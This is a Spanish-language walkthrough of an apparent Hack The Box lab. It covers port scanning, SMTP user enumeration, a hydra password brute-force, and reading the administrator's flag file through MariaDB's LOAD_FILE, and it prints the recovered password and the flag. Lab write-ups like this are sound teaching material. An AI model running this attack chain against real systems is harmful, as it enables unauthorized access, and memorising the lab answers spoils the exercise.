La empresa Inlanefreight nos encargó realizar una prueba de penetración en 3 hosts diferentes para comprobar la configuración y la seguridad de los servidores. Se nos informó que se había colocado una flag en algún lugar de cada servidor para demostrar el acceso exitoso. Estas flags tienen el siguiente formato:
HTB{...}
Nuestra tarea es revisar la seguridad de cada uno de los tres servidores y presentársela al cliente. Según nuestra información, el primer servidor es un servidor que gestiona los correos electrónicos, los clientes y sus archivos.
Su objetivo es el dominio inlanefreight.htb. Evalúa el servidor de destino y obtén el contenido del archivo flag.txt en el escritorio del administrador.
Primer acceso
sudo nmap -v -sV -Pn -T5 10.129.183.68
PORT STATE SERVICE VERSION
21/tcp open ftp
25/tcp open smtp hMailServer smtpd
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29)
443/tcp open https
587/tcp open smtp hMailServer smtpd
3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB
3389/tcp open ms-wbt-server Microsoft Terminal Services
Encontramos varios puertos abiertos, entre ellos el 25 SMTP, por lo que probaremos a hacer una enumeración de usuarios.
Acceso web
Si accedemos por el puerto 80 nos encontramos el servicio web:
El admin está protegido con contraseña, así que no podemos acceder por aquí.
Enumeración de usuarios
Vamos a usar smtp-user-enum para enumerar usuarios válidos para SMTP:
Encontramos 1 usuario de SMTP: fiona@inlanefreight.htb
Bruteforce
Vamos a hacer bruteforce de SMTP para averiguar la contraseña de Fiona:
hydra -l fiona@inlanefreight.htb -P /usr/share/wordlists/rockyou.txt -t 64 -f 10.129.203.7 smtp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-30 17:58:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking smtp://10.129.203.7:25/
[25][smtp] host: 10.129.203.7 login: fiona@inlanefreight.htb password: 987654321
[STATUS] attack finished for 10.129.203.7 (valid pair found)
Buum!! Tenemos la contraseña:
fiona@inlanefreight.htb
987654321
Conexión a MySQL
Como hemos visto tenemos una base de datos MySQL disponible, por lo que vamos a acceder como Fiona para ver que encontramos:
mysql -u fiona -p -h 10.129.203.7 --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 14
Server version: 10.4.24-MariaDB mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| phpmyadmin |
| test |
+--------------------+
5 rows in set (0,072 sec)
MariaDB [(none)]>
Conseguimos acceder correctamente a la base de datos, por lo que vamos a buscar información relevante.
Después de enumerar todas las bases de datos no encontramos nada relevante, por lo que vamos a intentar leer la flag directamente con LOAD_FILE:
MariaDB [(none)]> SELECT LOAD_FILE("C:/Users/Administrator/Desktop/flag.txt");
+------------------------------------------------------+
| LOAD_FILE("C:/Users/Administrator/Desktop/flag.txt") |
+------------------------------------------------------+
| HTB{t#3r3_4r3_tw0_w4y$_t0_93t_t#3_fl49} |
+------------------------------------------------------+
1 row in set (2 min 3,125 sec)
MariaDB [(none)]>
Ha funcionado y conseguimos leer la flag correctamente! 🏆